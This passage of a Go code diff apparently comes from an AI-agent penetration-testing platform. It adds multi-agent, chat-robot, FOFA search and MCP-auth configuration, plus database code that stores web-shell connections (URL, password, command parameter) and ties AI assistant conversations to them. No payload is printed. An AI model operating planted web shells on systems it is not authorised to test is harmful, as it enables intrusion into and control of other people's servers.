+	WithoutGeneralSubAgent  bool                  `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
+	WithoutWriteTodos       bool                  `yaml:"without_write_todos" json:"without_write_todos"`
+	OrchestratorInstruction string                `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
+	SubAgents               []MultiAgentSubConfig `yaml:"sub_agents" json:"sub_agents"`
+}
+
+// MultiAgentSubConfig 子代理（Eino ChatModelAgent），由 DeepAgent 通过 task 工具调度。
+type MultiAgentSubConfig struct {
+	ID            string   `yaml:"id" json:"id"`
+	Name          string   `yaml:"name" json:"name"`
+	Description   string   `yaml:"description" json:"description"`
+	Instruction   string   `yaml:"instruction" json:"instruction"`
+	BindRole      string   `yaml:"bind_role,omitempty" json:"bind_role,omitempty"` // 可选：关联主配置 roles 中的角色名；未配 role_tools 时沿用该角色的 tools，并把 skills 写入指令提示
+	RoleTools     []string `yaml:"role_tools" json:"role_tools"`                   // 与单 Agent 角色工具相同 key；空表示全部工具（bind_role 可补全 tools）
+	MaxIterations int      `yaml:"max_iterations" json:"max_iterations"`
+	Kind          string   `yaml:"kind,omitempty" json:"kind,omitempty"` // 仅 Markdown：kind=orchestrator 表示 Deep 主代理（与 orchestrator.md 二选一约定）
+}
+
+// MultiAgentPublic 返回给前端的精简信息（不含子代理指令全文）。
+type MultiAgentPublic struct {
+	Enabled            bool   `json:"enabled"`
+	DefaultMode        string `json:"default_mode"`
+	RobotUseMultiAgent bool   `json:"robot_use_multi_agent"`
+	BatchUseMultiAgent bool   `json:"batch_use_multi_agent"`
+	SubAgentCount      int    `json:"sub_agent_count"`
+}
+
+// MultiAgentAPIUpdate 设置页/API 仅更新多代理标量字段；写入 YAML 时不覆盖 sub_agents 等块。
+type MultiAgentAPIUpdate struct {
+	Enabled            bool   `json:"enabled"`
+	DefaultMode        string `json:"default_mode"`
+	RobotUseMultiAgent bool   `json:"robot_use_multi_agent"`
+	BatchUseMultiAgent bool   `json:"batch_use_multi_agent"`
+}
+
+// RobotsConfig 机器人配置（企业微信、钉钉、飞书等）
+type RobotsConfig struct {
+	Wecom    RobotWecomConfig    `yaml:"wecom,omitempty" json:"wecom,omitempty"`       // 企业微信
+	Dingtalk RobotDingtalkConfig `yaml:"dingtalk,omitempty" json:"dingtalk,omitempty"` // 钉钉
+	Lark     RobotLarkConfig     `yaml:"lark,omitempty" json:"lark,omitempty"`         // 飞书
+}
+
+// RobotWecomConfig 企业微信机器人配置
+type RobotWecomConfig struct {
+	Enabled        bool   `yaml:"enabled" json:"enabled"`
+	Token          string `yaml:"token" json:"token"`                       // 回调 URL 校验 Token
+	EncodingAESKey string `yaml:"encoding_aes_key" json:"encoding_aes_key"` // EncodingAESKey
+	CorpID         string `yaml:"corp_id" json:"corp_id"`                   // 企业 ID
+	Secret         string `yaml:"secret" json:"secret"`                     // 应用 Secret
+	AgentID        int64  `yaml:"agent_id" json:"agent_id"`                 // 应用 AgentId
+}
+
+// RobotDingtalkConfig 钉钉机器人配置
+type RobotDingtalkConfig struct {
+	Enabled      bool   `yaml:"enabled" json:"enabled"`
+	ClientID     string `yaml:"client_id" json:"client_id"`         // 应用 Key (AppKey)
+	ClientSecret string `yaml:"client_secret" json:"client_secret"` // 应用 Secret
+}
+
+// RobotLarkConfig 飞书机器人配置
+type RobotLarkConfig struct {
+	Enabled     bool   `yaml:"enabled" json:"enabled"`
+	AppID       string `yaml:"app_id" json:"app_id"`             // 应用 App ID
+	AppSecret   string `yaml:"app_secret" json:"app_secret"`     // 应用 App Secret
+	VerifyToken string `yaml:"verify_token" json:"verify_token"` // 事件订阅 Verification Token（可选）
 }
 
 type ServerConfig struct {
@@ -39,9 +121,11 @@ type LogConfig struct {
 }
 
 type MCPConfig struct {
-	Enabled bool   `yaml:"enabled"`
-	Host    string `yaml:"host"`
-	Port    int    `yaml:"port"`
+	Enabled         bool   `yaml:"enabled"`
+	Host            string `yaml:"host"`
+	Port            int    `yaml:"port"`
+	AuthHeader      string `yaml:"auth_header,omitempty"`       // 鉴权 header 名，留空表示不鉴权
+	AuthHeaderValue string `yaml:"auth_header_value,omitempty"` // 鉴权 header 值，需与请求中该 header 一致
 }
 
 type OpenAIConfig struct {
@@ -51,9 +135,17 @@ type OpenAIConfig struct {
 	MaxTotalTokens int    `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
 }
 
+type FofaConfig struct {
+	// Email 为 FOFA 账号邮箱；APIKey 为 FOFA API Key（建议使用只读权限的 Key）
+	Email   string `yaml:"email,omitempty" json:"email,omitempty"`
+	APIKey  string `yaml:"api_key,omitempty" json:"api_key,omitempty"`
+	BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"` // 默认 https://fofa.info/api/v1/search/all
+}
+
 type SecurityConfig struct {
-	Tools    []ToolConfig `yaml:"tools,omitempty"`     // 向后兼容：支持在主配置文件中定义工具
-	ToolsDir string       `yaml:"tools_dir,omitempty"` // 工具配置文件目录（新方式）
+	Tools               []ToolConfig `yaml:"tools,omitempty"`                 // 向后兼容：支持在主配置文件中定义工具
+	ToolsDir            string       `yaml:"tools_dir,omitempty"`             // 工具配置文件目录（新方式）
+	ToolDescriptionMode string       `yaml:"tool_description_mode,omitempty"` // 工具描述模式: "short" | "full"，默认 short
 }
 
 type DatabaseConfig struct {
@@ -65,6 +157,7 @@ type AgentConfig struct {
 	MaxIterations        int    `yaml:"max_iterations" json:"max_iterations"`
 	LargeResultThreshold int    `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值（字节），默认50KB
 	ResultStorageDir     string `yaml:"result_storage_dir" json:"result_storage_dir"`         // 结果存储目录，默认tmp
+	ToolTimeoutMinutes   int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"`     // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
 }
 
 type AuthConfig struct {
@@ -83,13 +176,14 @@ type ExternalMCPConfig struct {
 // ExternalMCPServerConfig 外部MCP服务器配置
 type ExternalMCPServerConfig struct {
 	// stdio模式配置
-	Command string   `yaml:"command,omitempty" json:"command,omitempty"`
-	Args    []string `yaml:"args,omitempty" json:"args,omitempty"`
+	Command string            `yaml:"command,omitempty" json:"command,omitempty"`
+	Args    []string          `yaml:"args,omitempty" json:"args,omitempty"`
 	Env     map[string]string `yaml:"env,omitempty" json:"env,omitempty"` // 环境变量（用于stdio模式）
 
 	// HTTP模式配置
-	Transport string `yaml:"transport,omitempty" json:"transport,omitempty"` // "http" 或 "stdio"
-	URL       string `yaml:"url,omitempty" json:"url,omitempty"`
+	Transport string            `yaml:"transport,omitempty" json:"transport,omitempty"` // "stdio" | "sse" | "http"(Streamable) | "simple_http"(自建/简单POST端点，如本机 http://127.0.0.1:8081/mcp)
+	URL       string            `yaml:"url,omitempty" json:"url,omitempty"`
+	Headers   map[string]string `yaml:"headers,omitempty" json:"headers,omitempty"` // HTTP/SSE 请求头（如 x-api-key）
 
 	// 通用配置
 	Description       string          `yaml:"description,omitempty" json:"description,omitempty"`
@@ -108,23 +202,24 @@ type ToolConfig struct {
 	ShortDescription string            `yaml:"short_description,omitempty"` // 简短描述（用于工具列表，减少token消耗）
 	Description      string            `yaml:"description"`                 // 详细描述（用于工具文档）
 	Enabled          bool              `yaml:"enabled"`
-	Parameters       []ParameterConfig `yaml:"parameters,omitempty"`  // 参数定义（可选）
-	ArgMapping       string            `yaml:"arg_mapping,omitempty"` // 参数映射方式: "auto", "manual", "template"（可选）
+	Parameters       []ParameterConfig `yaml:"parameters,omitempty"`         // 参数定义（可选）
+	ArgMapping       string            `yaml:"arg_mapping,omitempty"`        // 参数映射方式: "auto", "manual", "template"（可选）
 	AllowedExitCodes []int             `yaml:"allowed_exit_codes,omitempty"` // 允许的退出码列表（某些工具在成功时也返回非零退出码）
 }
 
 // ParameterConfig 参数配置
 type ParameterConfig struct {
-	Name        string      `yaml:"name"`               // 参数名称
-	Type        string      `yaml:"type"`               // 参数类型: string, int, bool, array
-	Description string      `yaml:"description"`        // 参数描述
-	Required    bool        `yaml:"required,omitempty"` // 是否必需
-	Default     interface{} `yaml:"default,omitempty"`  // 默认值
-	Flag        string      `yaml:"flag,omitempty"`     // 命令行标志，如 "-u", "--url", "-p"
-	Position    *int        `yaml:"position,omitempty"` // 位置参数的位置（从0开始）
-	Format      string      `yaml:"format,omitempty"`   // 参数格式: "flag", "positional", "combined" (flag=value), "template"
-	Template    string      `yaml:"template,omitempty"` // 模板字符串，如 "{flag} {value}" 或 "{value}"
-	Options     []string    `yaml:"options,omitempty"`  // 可选值列表（用于枚举）
+	Name        string      `yaml:"name"`                // 参数名称
+	Type        string      `yaml:"type"`                // 参数类型: string, int, bool, array
+	Description string      `yaml:"description"`         // 参数描述
+	Required    bool        `yaml:"required,omitempty"`  // 是否必需
+	Default     interface{} `yaml:"default,omitempty"`   // 默认值
+	ItemType    string      `yaml:"item_type,omitempty"` // 当 type 为 array 时，数组元素类型，如 string, number, object
+	Flag        string      `yaml:"flag,omitempty"`      // 命令行标志，如 "-u", "--url", "-p"
+	Position    *int        `yaml:"position,omitempty"`  // 位置参数的位置（从0开始）
+	Format      string      `yaml:"format,omitempty"`    // 参数格式: "flag", "positional", "combined" (flag=value), "template"
+	Template    string      `yaml:"template,omitempty"`  // 模板字符串，如 "{flag} {value}" 或 "{value}"
+	Options     []string    `yaml:"options,omitempty"`   // 可选值列表（用于枚举）
 }
 
 func Load(path string) (*Config, error) {
@@ -340,6 +435,124 @@ func PrintGeneratedPasswordWarning(password string, persisted bool, persistErr s
 	fmt.Println("----------------------------------------------------------------")
 }
 
+// generateRandomToken 生成用于 MCP 鉴权的随机字符串（64 位十六进制）
+func generateRandomToken() (string, error) {
+	b := make([]byte, 32)
+	if _, err := rand.Read(b); err != nil {
+		return "", err
+	}
+	return hex.EncodeToString(b), nil
+}
+
+// persistMCPAuth 将 MCP 的 auth_header / auth_header_value 写回配置文件
+func persistMCPAuth(path string, mcp *MCPConfig) error {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return err
+	}
+	lines := strings.Split(string(data), "\n")
+	inMcpBlock := false
+	mcpIndent := -1
+
+	for i, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if !inMcpBlock {
+			if strings.HasPrefix(trimmed, "mcp:") {
+				inMcpBlock = true
+				mcpIndent = len(line) - len(strings.TrimLeft(line, " "))
+			}
+			continue
+		}
+		if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+			continue
+		}
+		leadingSpaces := len(line) - len(strings.TrimLeft(line, " "))
+		if leadingSpaces <= mcpIndent {
+			inMcpBlock = false
+			mcpIndent = -1
+			if strings.HasPrefix(trimmed, "mcp:") {
+				inMcpBlock = true
+				mcpIndent = leadingSpaces
+			}
+			continue
+		}
+
+		prefix := line[:leadingSpaces]
+		rest := strings.TrimSpace(line[leadingSpaces:])
+		comment := ""
+		if idx := strings.Index(line, "#"); idx >= 0 {
+			comment = strings.TrimRight(line[idx:], " ")
+		}
+		withComment := ""
+		if comment != "" {
+			if !strings.HasPrefix(comment, " ") {
+				withComment = " "
+			}
+			withComment += comment
+		}
+
+		if strings.HasPrefix(rest, "auth_header_value:") {
+			lines[i] = fmt.Sprintf("%sauth_header_value: %q%s", prefix, mcp.AuthHeaderValue, withComment)
+		} else if strings.HasPrefix(rest, "auth_header:") {
+			lines[i] = fmt.Sprintf("%sauth_header: %q%s", prefix, mcp.AuthHeader, withComment)
+		}
+	}
+
+	return os.WriteFile(path, []byte(strings.Join(lines, "\n")), 0644)
+}
+
+// EnsureMCPAuth 在 MCP 启用且 auth_header_value 为空时，自动生成随机密钥并写回配置
+func EnsureMCPAuth(path string, cfg *Config) error {
+	if !cfg.MCP.Enabled || strings.TrimSpace(cfg.MCP.AuthHeaderValue) != "" {
+		return nil
+	}
+	token, err := generateRandomToken()
+	if err != nil {
+		return fmt.Errorf("生成 MCP 鉴权密钥失败: %w", err)
+	}
+	cfg.MCP.AuthHeaderValue = token
+	if strings.TrimSpace(cfg.MCP.AuthHeader) == "" {
+		cfg.MCP.AuthHeader = "X-MCP-Token"
+	}
+	return persistMCPAuth(path, &cfg.MCP)
+}
+
+// PrintMCPConfigJSON 向终端输出 MCP 配置的 JSON，可直接复制到 Cursor / Claude Code 的 mcp 配置中使用
+func PrintMCPConfigJSON(mcp MCPConfig) {
+	if !mcp.Enabled {
+		return
+	}
+	hostForURL := strings.TrimSpace(mcp.Host)
+	if hostForURL == "" || hostForURL == "0.0.0.0" {
+		hostForURL = "localhost"
+	}
+	url := fmt.Sprintf("http://%s:%d/mcp", hostForURL, mcp.Port)
+	headers := map[string]string{}
+	if mcp.AuthHeader != "" {
+		headers[mcp.AuthHeader] = mcp.AuthHeaderValue
+	}
+	serverEntry := map[string]interface{}{
+		"url": url,
+	}
+	if len(headers) > 0 {
+		serverEntry["headers"] = headers
+	}
+	// Claude Code 需要 type: "http"
+	serverEntry["type"] = "http"
+	out := map[string]interface{}{
+		"mcpServers": map[string]interface{}{
+			"cyberstrike-ai": serverEntry,
+		},
+	}
+	b, _ := json.MarshalIndent(out, "", "  ")
+	fmt.Println("[CyberStrikeAI] MCP 配置（可复制到 Cursor / Claude Code 使用）：")
+	fmt.Println("  Cursor: 放入 ~/.cursor/mcp.json 的 mcpServers，或项目 .cursor/mcp.json")
+	fmt.Println("  Claude Code: 放入 .mcp.json 或 ~/.claude.json 的 mcpServers")
+	fmt.Println("----------------------------------------------------------------")
+	fmt.Println(string(b))
+	fmt.Println("----------------------------------------------------------------")
+}
+
 // LoadToolsFromDir 从目录加载所有工具配置文件
 func LoadToolsFromDir(dir string) ([]ToolConfig, error) {
 	var tools []ToolConfig
@@ -467,7 +680,7 @@ func LoadRoleFromFile(path string) (*RoleConfig, error) {
 		icon := role.Icon
 		// 去除可能的引号
 		icon = strings.Trim(icon, `"`)
-		
+
 		// 检查是否是 Unicode 转义格式 \U0001F3C6（8位十六进制）或 \uXXXX（4位十六进制）
 		if len(icon) >= 3 && icon[0] == '\\' {
 			if icon[1] == 'U' && len(icon) >= 10 {
@@ -515,7 +728,8 @@ func Default() *Config {
 			MaxTotalTokens: 120000,
 		},
 		Agent: AgentConfig{
-			MaxIterations: 30, // 默认最大迭代次数
+			MaxIterations:      30, // 默认最大迭代次数
+			ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟，避免异常长时间占用
 		},
 		Security: SecurityConfig{
 			Tools:    []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
@@ -538,9 +752,18 @@ func Default() *Config {
 			},
 			Retrieval: RetrievalConfig{
 				TopK:                5,
-				SimilarityThreshold: 0.7,
+				SimilarityThreshold: 0.65, // 降低阈值到 0.65，减少漏检
 				HybridWeight:        0.7,
 			},
+			Indexing: IndexingConfig{
+				ChunkSize:        768, // 增加到 768，更好的上下文保持
+				ChunkOverlap:     50,
+				MaxChunksPerItem: 20,  // 限制单个知识项最多 20 个块，避免消耗过多配额
+				MaxRPM:           100, // 默认 100 RPM，避免 429 错误
+				RateLimitDelayMs: 600, // 600ms 间隔，对应 100 RPM
+				MaxRetries:       3,
+				RetryDelayMs:     1000,
+			},
 		},
 	}
 }
@@ -551,6 +774,26 @@ type KnowledgeConfig struct {
 	BasePath  string          `yaml:"base_path" json:"base_path"` // 知识库路径
 	Embedding EmbeddingConfig `yaml:"embedding" json:"embedding"`
 	Retrieval RetrievalConfig `yaml:"retrieval" json:"retrieval"`
+	Indexing  IndexingConfig  `yaml:"indexing,omitempty" json:"indexing,omitempty"` // 索引构建配置
+}
+
+// IndexingConfig 索引构建配置（用于控制知识库索引构建时的行为）
+type IndexingConfig struct {
+	// 分块配置
+	ChunkSize        int `yaml:"chunk_size,omitempty" json:"chunk_size,omitempty"`                   // 每个块的最大 token 数（估算），默认 512
+	ChunkOverlap     int `yaml:"chunk_overlap,omitempty" json:"chunk_overlap,omitempty"`             // 块之间的重叠 token 数，默认 50
+	MaxChunksPerItem int `yaml:"max_chunks_per_item,omitempty" json:"max_chunks_per_item,omitempty"` // 单个知识项的最大块数量，0 表示不限制
+
+	// 速率限制配置（用于避免 API 速率限制）
+	RateLimitDelayMs int `yaml:"rate_limit_delay_ms,omitempty" json:"rate_limit_delay_ms,omitempty"` // 请求间隔时间（毫秒），0 表示不使用固定延迟
+	MaxRPM           int `yaml:"max_rpm,omitempty" json:"max_rpm,omitempty"`                         // 每分钟最大请求数，0 表示不限制
+
+	// 重试配置（用于处理临时错误）
+	MaxRetries   int `yaml:"max_retries,omitempty" json:"max_retries,omitempty"`       // 最大重试次数，默认 3
+	RetryDelayMs int `yaml:"retry_delay_ms,omitempty" json:"retry_delay_ms,omitempty"` // 重试间隔（毫秒），默认 1000
+
+	// 批处理配置（用于批量嵌入，当前未使用，保留扩展）
+	BatchSize int `yaml:"batch_size,omitempty" json:"batch_size,omitempty"` // 批量处理大小，0 表示逐个处理
 }
 
 // EmbeddingConfig 嵌入配置
@@ -576,12 +819,12 @@ type RolesConfig struct {
 
 // RoleConfig 单个角色配置
 type RoleConfig struct {
-	Name        string   `yaml:"name" json:"name"`               // 角色名称
-	Description string   `yaml:"description" json:"description"` // 角色描述
-	UserPrompt  string   `yaml:"user_prompt" json:"user_prompt"` // 用户提示词(追加到用户消息前)
-	Icon        string   `yaml:"icon,omitempty" json:"icon,omitempty"` // 角色图标（可选）
-	Tools       []string `yaml:"tools,omitempty" json:"tools,omitempty"` // 关联的工具列表（toolKey格式，如 "toolName" 或 "mcpName::toolName"）
-	MCPs        []string `yaml:"mcps,omitempty" json:"mcps,omitempty"` // 向后兼容：关联的MCP服务器列表（已废弃，使用tools替代）
+	Name        string   `yaml:"name" json:"name"`                         // 角色名称
+	Description string   `yaml:"description" json:"description"`           // 角色描述
+	UserPrompt  string   `yaml:"user_prompt" json:"user_prompt"`           // 用户提示词(追加到用户消息前)
+	Icon        string   `yaml:"icon,omitempty" json:"icon,omitempty"`     // 角色图标（可选）
+	Tools       []string `yaml:"tools,omitempty" json:"tools,omitempty"`   // 关联的工具列表（toolKey格式，如 "toolName" 或 "mcpName::toolName"）
+	MCPs        []string `yaml:"mcps,omitempty" json:"mcps,omitempty"`     // 向后兼容：关联的MCP服务器列表（已废弃，使用tools替代）
 	Skills      []string `yaml:"skills,omitempty" json:"skills,omitempty"` // 关联的skills列表（skill名称列表，在执行任务前会读取这些skills的内容）
-	Enabled     bool     `yaml:"enabled" json:"enabled"`         // 是否启用
+	Enabled     bool     `yaml:"enabled" json:"enabled"`                   // 是否启用
 }

internal/database/conversation.go

@@ -33,13 +33,26 @@ type Message struct {
 
 // CreateConversation 创建新对话
 func (db *DB) CreateConversation(title string) (*Conversation, error) {
+	return db.CreateConversationWithWebshell("", title)
+}
+
+// CreateConversationWithWebshell 创建新对话，可选绑定 WebShell 连接 ID（为空则普通对话）
+func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string) (*Conversation, error) {
 	id := uuid.New().String()
 	now := time.Now()
 
-	_, err := db.Exec(
-		"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
-		id, title, now, now,
-	)
+	var err error
+	if webshellConnectionID != "" {
+		_, err = db.Exec(
+			"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
+			id, title, now, now, webshellConnectionID,
+		)
+	} else {
+		_, err = db.Exec(
+			"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
+			id, title, now, now,
+		)
+	}
 	if err != nil {
 		return nil, fmt.Errorf("创建对话失败: %w", err)
 	}
@@ -52,6 +65,117 @@ func (db *DB) CreateConversation(title string) (*Conversation, error) {
 	}, nil
 }
 
+// GetConversationByWebshellConnectionID 根据 WebShell 连接 ID 获取该连接下最近一条对话（用于 AI 助手持久化）
+func (db *DB) GetConversationByWebshellConnectionID(connectionID string) (*Conversation, error) {
+	if connectionID == "" {
+		return nil, fmt.Errorf("connectionID is empty")
+	}
+	var conv Conversation
+	var createdAt, updatedAt string
+	var pinned int
+	err := db.QueryRow(
+		"SELECT id, title, pinned, created_at, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC LIMIT 1",
+		connectionID,
+	).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt)
+	if err != nil {
+		if err == sql.ErrNoRows {
+			return nil, nil
+		}
+		return nil, fmt.Errorf("查询对话失败: %w", err)
+	}
+	conv.Pinned = pinned != 0
+	if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt); e == nil {
+		conv.CreatedAt = t
+	} else if t, e := time.Parse("2006-01-02 15:04:05", createdAt); e == nil {
+		conv.CreatedAt = t
+	} else {
+		conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+	}
+	if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
+		conv.UpdatedAt = t
+	} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
+		conv.UpdatedAt = t
+	} else {
+		conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
+	}
+	messages, err := db.GetMessages(conv.ID)
+	if err != nil {
+		return nil, fmt.Errorf("加载消息失败: %w", err)
+	}
+	conv.Messages = messages
+
+	// 加载过程详情并附加到对应消息（与 GetConversation 一致，便于刷新后仍可查看执行过程）
+	processDetailsMap, err := db.GetProcessDetailsByConversation(conv.ID)
+	if err != nil {
+		db.logger.Warn("加载过程详情失败", zap.Error(err))
+		processDetailsMap = make(map[string][]ProcessDetail)
+	}
+	for i := range conv.Messages {
+		if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
+			detailsJSON := make([]map[string]interface{}, len(details))
+			for j, detail := range details {
+				var data interface{}
+				if detail.Data != "" {
+					if err := json.Unmarshal([]byte(detail.Data), &data); err != nil {
+						db.logger.Warn("解析过程详情数据失败", zap.Error(err))
+					}
+				}
+				detailsJSON[j] = map[string]interface{}{
+					"id":             detail.ID,
+					"messageId":      detail.MessageID,
+					"conversationId": detail.ConversationID,
+					"eventType":      detail.EventType,
+					"message":        detail.Message,
+					"data":           data,
+					"createdAt":      detail.CreatedAt,
+				}
+			}
+			conv.Messages[i].ProcessDetails = detailsJSON
+		}
+	}
+
+	return &conv, nil
+}
+
+// WebShellConversationItem 用于侧边栏列表，不含消息
+type WebShellConversationItem struct {
+	ID        string    `json:"id"`
+	Title     string    `json:"title"`
+	UpdatedAt time.Time `json:"updatedAt"`
+}
+
+// ListConversationsByWebshellConnectionID 列出该 WebShell 连接下的所有对话（按更新时间倒序），供侧边栏展示
+func (db *DB) ListConversationsByWebshellConnectionID(connectionID string) ([]WebShellConversationItem, error) {
+	if connectionID == "" {
+		return nil, nil
+	}
+	rows, err := db.Query(
+		"SELECT id, title, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC",
+		connectionID,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询对话列表失败: %w", err)
+	}
+	defer rows.Close()
+	var list []WebShellConversationItem
+	for rows.Next() {
+		var item WebShellConversationItem
+		var updatedAt string
+		if err := rows.Scan(&item.ID, &item.Title, &updatedAt); err != nil {
+			continue
+		}
+		if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
+			item.UpdatedAt = t
+		} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
+			item.UpdatedAt = t
+		} else {
+			item.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
+		}
+		list = append(list, item)
+	}
+	return list, rows.Err()
+}
+
 // GetConversation 获取对话
 func (db *DB) GetConversation(id string) (*Conversation, error) {
 	var conv Conversation

internal/database/database.go

@@ -227,6 +227,19 @@ func (db *DB) initTables() error {
 		FOREIGN KEY (queue_id) REFERENCES batch_task_queues(id) ON DELETE CASCADE
 	);`
 
+	// 创建 WebShell 连接表
+	createWebshellConnectionsTable := `
+	CREATE TABLE IF NOT EXISTS webshell_connections (
+		id TEXT PRIMARY KEY,
+		url TEXT NOT NULL,
+		password TEXT NOT NULL DEFAULT '',
+		type TEXT NOT NULL DEFAULT 'php',
+		method TEXT NOT NULL DEFAULT 'post',
+		cmd_param TEXT NOT NULL DEFAULT '',
+		remark TEXT NOT NULL DEFAULT '',
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+	);`
+
 	// 创建索引
 	createIndexes := `
 	CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
@@ -253,6 +266,7 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
 	CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
+	CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
 	`
 
 	if _, err := db.Exec(createConversationsTable); err != nil {
@@ -311,6 +325,10 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建batch_tasks表失败: %w", err)
 	}
 
+	if _, err := db.Exec(createWebshellConnectionsTable); err != nil {
+		return fmt.Errorf("创建webshell_connections表失败: %w", err)
+	}
+
 	// 为已有表添加新字段（如果不存在）- 必须在创建索引之前
 	if err := db.migrateConversationsTable(); err != nil {
 		db.logger.Warn("迁移conversations表失败", zap.Error(err))
@@ -397,6 +415,21 @@ func (db *DB) migrateConversationsTable() error {
 		}
 	}
 
+	// 检查 webshell_connection_id 字段是否存在（WebShell AI 助手对话关联）
+	err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='webshell_connection_id'").Scan(&count)
+	if err != nil {
+		if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); addErr != nil {
+			errMsg := strings.ToLower(addErr.Error())
+			if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
+				db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(addErr))
+			}
+		}
+	} else if count == 0 {
+		if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); err != nil {
+			db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(err))
+		}
+	}
+
 	return nil
 }
 

internal/database/webshell.go

@@ -0,0 +1,112 @@
+package database
+
+import (
+	"database/sql"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+// WebShellConnection WebShell 连接配置
+type WebShellConnection struct {
+	ID        string    `json:"id"`
+	URL       string    `json:"url"`
+	Password  string    `json:"password"`
+	Type      string    `json:"type"`
+	Method    string    `json:"method"`
+	CmdParam  string    `json:"cmdParam"`
+	Remark    string    `json:"remark"`
+	CreatedAt time.Time `json:"createdAt"`
+}
+
+// ListWebshellConnections 列出所有 WebShell 连接，按创建时间倒序
+func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
+	query := `
+		SELECT id, url, password, type, method, cmd_param, remark, created_at
+		FROM webshell_connections
+		ORDER BY created_at DESC
+	`
+	rows, err := db.Query(query)
+	if err != nil {
+		db.logger.Error("查询 WebShell 连接列表失败", zap.Error(err))
+		return nil, err
+	}
+	defer rows.Close()
+
+	var list []WebShellConnection
+	for rows.Next() {
+		var c WebShellConnection
+		err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
+		if err != nil {
+			db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
+			continue
+		}
+		list = append(list, c)
+	}
+	return list, rows.Err()
+}
+
+// GetWebshellConnection 根据 ID 获取一条连接
+func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
+	query := `
+		SELECT id, url, password, type, method, cmd_param, remark, created_at
+		FROM webshell_connections WHERE id = ?
+	`
+	var c WebShellConnection
+	err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
+	if err == sql.ErrNoRows {
+		return nil, nil
+	}
+	if err != nil {
+		db.logger.Error("查询 WebShell 连接失败", zap.Error(err), zap.String("id", id))
+		return nil, err
+	}
+	return &c, nil
+}
+
+// CreateWebshellConnection 创建 WebShell 连接
+func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
+	query := `
+		INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, created_at)
+		VALUES (?, ?, ?, ?, ?, ?, ?, ?)
+	`
+	_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.CreatedAt)
+	if err != nil {
+		db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
+		return err
+	}
+	return nil
+}
+
+// UpdateWebshellConnection 更新 WebShell 连接
+func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
+	query := `
+		UPDATE webshell_connections
+		SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?
+		WHERE id = ?
+	`
+	result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.ID)
+	if err != nil {
+		db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
+		return err
+	}
+	affected, _ := result.RowsAffected()
+	if affected == 0 {
+		return sql.ErrNoRows
+	}
+	return nil
+}
+
+// DeleteWebshellConnection 删除 WebShell 连接
+func (db *DB) DeleteWebshellConnection(id string) error {
+	result, err := db.Exec(`DELETE FROM webshell_connections WHERE id = ?`, id)
+	if err != nil {
+		db.logger.Error("删除 WebShell 连接失败", zap.Error(err), zap.String("id", id))
+		return err
+	}
+	affected, _ := result.RowsAffected()
+	if affected == 0 {
+		return sql.ErrNoRows
+	}
